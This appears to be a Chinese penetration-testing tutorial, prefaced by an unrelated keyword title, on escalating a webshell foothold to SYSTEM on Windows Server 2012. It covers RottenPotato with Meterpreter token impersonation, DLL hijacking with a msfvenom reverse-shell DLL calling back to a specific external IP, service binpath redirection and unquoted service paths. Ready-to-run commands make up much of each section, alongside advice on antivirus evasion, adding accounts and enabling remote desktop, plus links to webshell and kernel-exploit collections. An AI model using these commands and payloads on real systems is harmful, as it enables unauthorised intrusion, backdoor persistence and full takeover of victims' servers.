wordpress中英文网站,设计网站页面教案,《网页制作与网站建设》,英文网站title目录 演示案例:Win2012-烂士豆配合令牌窃取提权-Web权限Win2012-DLL劫持提权应用配合MSF-Web权限Win2012-不安全的服务权限配合MSF-本地权限Win2012-不带引号服务路径配合MSF-Web#xff0c;本地权限补充说明: dll劫持提权及AlwaysInstallElevated等说明关于Windows相关知识点… 目录 演示案例:Win2012-烂士豆配合令牌窃取提权-Web权限Win2012-DLL劫持提权应用配合MSF-Web权限Win2012-不安全的服务权限配合MSF-本地权限Win2012-不带引号服务路径配合MSF-Web本地权限补充说明: dll劫持提权及AlwaysInstallElevated等说明关于Windows相关知识点总结说明-权限层系统层防护层等 涉及资源: 演示案例:
Win2012-烂士豆配合令牌窃取提权-Web权限
单纯令牌窃取: web权限或本地提权 如配合烂土豆提权: web或数据库等权限
RottenPotato (烂土豆) 提权的原理可以简述如下:
1.欺骗 “NT AUTHORITY\SYSTEM” 账户通过NTLM认证到我们控制的TCP终端。 2.对这个认证过程使用中间人攻击 (NTLM重放) 为NT AUTHORITY\SYSTEM 账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。 3.模仿这个令牌。只有具有 “模仿安全令牌权限” 的账户才能去模仿别人的令牌。一般大多数的服务型账户 (IIS、MSSQL等) 有这个权限大多数用户级的账户没有这个权限。
所以一般从web拿到的webshell都是IIS服务器权限是具有这个模仿权限的。测试过程中我发现使用已经建好的账户 (就是上面说的用户级账户) 去反弹meterpreter然后再去执行EXP的时候会失败但使用菜刀 (lIS服务器权限) 反弹meterpreter就会成功。
烂土豆比热土豆的优点是:
1.100%可靠 2.(当时)全版本通杀现在是需要自己做个免杀 3.立即生效不用像hot potato那样有时候需要等Windows更新才能使用。
总之我对这个的理解是通过中间人攻击将COM (NT\SYSTEM权限) 在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌然后利用msf的模仿令牌功能模仿SYSTEM令牌。
原理:参考上述图片内容非服务类用户权限无法窃取成功 原理过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功。
upload /root/potato.exe C:\Users\Public
cd C:\\users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token NT AUTHORITYA\\SYSTEM提权层面是在web权限上面提升至system权限这个是跨越比较大的权限一般我们的提权方法是本地提权就是本地用户提升至system这个烂土豆配合令牌窃取提权只要有web权限就可以
在webshell上面上传烂土豆然后执行烂土豆紧接着利用窃取模块窃取SYSTEM权限最后获取成功
这个是我们前期在目标主机装上去的webshell就是我们提权获取到web权限通过这个web权限实现windows的提权 查看用户名和当前权限它是普通用户就是大部分的web权限 首先我们打开msf生成后门搜索msfvenom生成木马 https://blog.csdn.net/qq_63844103/article/details/128801917 先有msf再有CSCS内网用的比较多一点这只是单纯的提权 我们把生成好的后门通过webshell传上去执行它就完事了 这个时候就是属于监听状态然后webshell这边执行文件 这个时候我们需要对它进行提权令牌窃取是建立在权限足够的情况下进行提权所以我们先进行烂土豆提权 我们可以去网上下载烂土豆提权 烂土豆必须在msf执行切换到烂土豆在的目录然后执行它 紧接着我们在重复一次令牌窃取提权成功
Win2012-DLL劫持提权应用配合MSF-Web权限
特定软件应用第三方软件并且权限在控制的时候比如在操作第三方软件的时候能够删除它的文件覆盖它里面的文件
原理: windows程序启动的时候需要DLL。如果这些DLL 不存在则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常Windows应用程序有其预定义好的搜索DLL的路径它会根据下面的顺序进行搜索: 1、应用程序加载的目录 2、C:\Windows\System32 3、C:\Windows\System 4、C:\Windows 5、当前工作目录Current Working DirectoryCWD 6、在PATH环境变量的目录 (先系统后用户) 过程: 信息收集-进程调试-制作dll并上传-换dll-启动应用后成功
DLL劫持提权是比较鸡肋的但是还是要讲因为它也是提权方法里面的一种基本上windows系统都是通杀的DLL文件在windows上是动态链接库就好比exe程序就是很多在开发软件的时候就会开发dll库就是程序在启用的时候默认会调用一些dll库实现它功能的加载就是有些程序在写的时候有些功能需要dll库支持也就是说dll库是可以实现一些功能的我们如果能自定义dll库就能控制执行的东西
信息收集服务器上的第三方软件特有应用程序的信息我们要分析程序在运行的时候它有调用那些dll知道之后我们就制作一个后门dll去把它进行上传替换原有的dll然后当程序启用成功之后就会调用我们替换的dll来实现这个dll劫持
我们可以通过前期的基本信息然后可以看一下它有没有一些程序、服务、第三方软件 可以看到有一个第三方软件ftp传输软件符合我们dll提权的一个条件 我们本地下载这个程序去调式它 我们先运行这个软件找到这个进程 我们做的是提权系统文件我们不可能去更改它因为本身权限就不够所以我们看的是数字签名文件和未知文件数字签名文件这里有引用到其它程序的dll文件 我们可以尝试去替换dll文件来实现把dll文件自定义我们只能够去替换能修改的目录的dll文件所以我们得选择第三方软件的dll所以这个时候我们就在msf上生成恶意dll
msfvenom -p windows/meterpreter/reverse_tcp lhost101.37.169.46 lport6677 -f dll /opt/ssleay.dll我们通过shell把生成的dll文件上传上去然后把源文件替换掉 我们在msf上开启监听运行后门exe文件 接收到会话我们在利用令牌窃取因为administrator权限足够了 这个就是dll劫持它是比较鸡肋的对方必须要启用这个程序才行就是替换完之后管理员要启用它才行如果不启用它就没办法因为启动了就表示会加载dlldll就是我们替换的dll除此之外dll就是要考虑替换这个替换权限指的是要看你当前的权限不是说一定就有如果webshell权限设置的比较宽松的话是有的但是它设置比较严谨的情况下所以它有前提条件这个条件要满足才可以
它要满足的条件有点多1、它装有第三方软件2、有替换权限3、管理员要去运行这个程序才行
直接利用火绒剑这个程序去分析进程所加载的dll排除系统的dll因为系统的dll我们是没有权限去替换它目录都看不了怎么去替换所以我们要去找自身程序自带的dll尝试替换
收集信息有没有第三方的然后通过收集信息对第三方软件本地去分析因为我们不可能在服务器上进行分析因为你要提权的服务器你怎么分析那个进程呢我们不能打开看所以我们只能去本地下载一个同样的软件然后在自己的电脑上去分析调用dll知道之后制作一个dll把原有的dll进行替换然后等待这个管理员的启用应用之后我们才能接收这个会话反弹的webshell
这个dll可以进行自定义的不需要反弹回来把这个dll自己通过开发写个dll一旦提权成功自己就创建一个账户都可以
Win2012-不安全的服务权限配合MSF-本地权限
原理: 即使正确引用了服务路径也可能存在其他漏洞。由于管理配置错误用户可能对服务拥有过多的权限例如可以直接修改它导致重定向执行文件。
过程: 检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
accesschk.exe -uwcgv administrators *
sc config NewServiceName binpathC:\test.exe
sc start NewServiceName根据你当前用户权限看一下你这个用户有没有可以操作的服务进行配置
利用accesschk.exe文件去执行-uwcgv命令冒号里面就是当前的用户、用户组来检测当前的用户、用户组有没有可以操作的服务命令一般这种提权适用本地webshell一般就不现实了
accesschk.exe -uwcgv administrators *我们检测到当前用户组享受这些所有权限的包括读写、删除、修改各种各样的
我们查询user组说明user组的用户没有对这些服务进行操作的权限 如果在实战中我们碰到这个提示说明我们这个提权方法GG因为当前组没有可以进行的操作
指向这个服务名对应的文件操作完之后发现服务对应的路径就更改了
sc config NewServiceName binpathC:\test.exe启动系统服务很显然就会执行test.exe我们监听一下会话
sc start NewServiceName我通过这个东西直接提权到system权限webshell权限大部分是不够的webshell权限大部分不能够对服务进行更改所以它大部分是本地提权的概念
Win2012-不带引号服务路径配合MSF-Web本地权限
原理: 当windows服务运行时会发生以下两种情况之一。如果给出了可执行文件并且引用了完整路径则系统会按字面解释它并执行。但是如果服务的二进制路径未包含在引号中则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
过程: 检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
我们看一下我们当前电脑服务我们可以点击每个服务对应的属性是不是会对应执行文件当我们打开这个服务的时候会默认执行这条命令而且是以system权限去运行它
windows服务程序在配置的时候出现配置不带引号的东西之后就会出现安全问题它会认为空格之后是参数会导致这个文件在运行的时候出问题 检测服务器上有没有有问题的服务路径就是看它有没有引号有引号就是正常的会正常的调用参数没有引号就会出现安全问题如果没有我们就可以利用路径制作文件并上传启用服务或者等待服务器的重启因为服务器重启会加载一些服务那么可能就会把你的服务加载所以我们就等待服务重启启用服务是需要权限的如果权限不够的话就等待服务器的重启一旦服务被调用就会成功去运行之前的后门文件
用这个命令去检测服务调用执行命令没有引号的
wmic service get name,displayname,pathname,startmode |findstr /i Auto |findstr /i /v C:\Windows\\ |findstr /i /v 如果有提示就表示这两个地方可以操作有安全问题必须不带引号目录里面必须带空格不带空格也不行因为空格是命令参数执行的标准 第二个文件目录放上去执行的时候会出现前面当作一个执行程序后面当作命令参数 下面的cmd命令执行的是C:\Program 使用msf制作一个后门命名为Program.exe上传到目标服务器C盘根目录
在webshell里面启动服务的命令可能会出现没有权限启用所以引号路径攻击多用于本地环境
sc start 服务名启动服务我们放在C盘的后门被启动msf监听到提权成功 因为服务启用就会调用系统权限所以就能获得系统权限如果掉了有可能是因为服务崩了
如果在实战中权限丢了也不要紧因为我们可以把exe换成不需要时刻连接的因为这个后门是msf后门所以才需要时刻连接保持它进程的运行 我们可以把后门替换成远控的一旦执行就执行命令添加用户开3389等操作这些都是后期可以进行的操作
注意这个提权是要看对方有没有安全问题它其实就是检测服务里面绑定程序的时候有没有按照规矩的使用引号因为我们这个服务大部分都是自带服务然后加上你安装的软件有时候你安装软件之后软件会自动创建服务像apche大部分都是自带服务如果这个软件在创建服务的时候没有按照规矩加双引号就会出现这个安全问提我们可以通过命令去寻找服务里面对应的程序绑定目录的时候有没有安全问题有我们就可以操作它你直接上后门替换它对应目录里面对应的程序就可以了
有一定的适应面同时比较鸡肋因为系统如果不安装第三方软件或者其它东西的话就不会出现这个问题而且第三方软件有部分不会出现安全问题因为有写第三方软件有去正确的配置服务目录很多情况下都是没有这个引号路径问题的这就是它比较鸡肋的地方
补充说明: dll劫持提权及AlwaysInstallElevated等说明
dll劫持提权需要特定软件应用的控制权限及启用配合复杂鸡肋 AlwaysInstallELevated提权默认禁用配置利用成功机会很少
很多知识点一碰实战就搞不来的原因就是很多知识点是有前提条件的不满足那个前提条件是没办法执行的 你自己都要提权了你怎么以system权限手动提权它呢一般管理员是默认不会把AlwaysInstallElevated开启的我们不讲它的原因是它的利用条件实在是太苛刻了AlwaysInstallElevated基本是禁用的用不了我们就没必要去学它
关于Windows相关知识点总结说明-权限层系统层防护层等
总结windows提权知识点 掌握: 提权方法对应层面提权方法对应系统版本相关文件及后门免杀问题等
webshell权限大部分是搭建平台赋予的权限是个非常小的权限它没有user大比来宾用户权限大一些
在本地能操作的一般在web层面也能操作因为本地权限比web权限大 数据库提权和溢出漏洞是通用的在本地和web层面都可以
红蓝对抗里面免杀是核心因为实战情况下免杀过不了会导致很多东西都操作不了免杀是大部分面对的最大的困难网上有很多文章但是你会发现大部分已经通用了
系统服务的权限要看是谁启动的那就是谁的权限
涉及资源:
https://github.com/tennc/webshell https://www.sdbeta.com/wg/2020/0628/235361.html https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075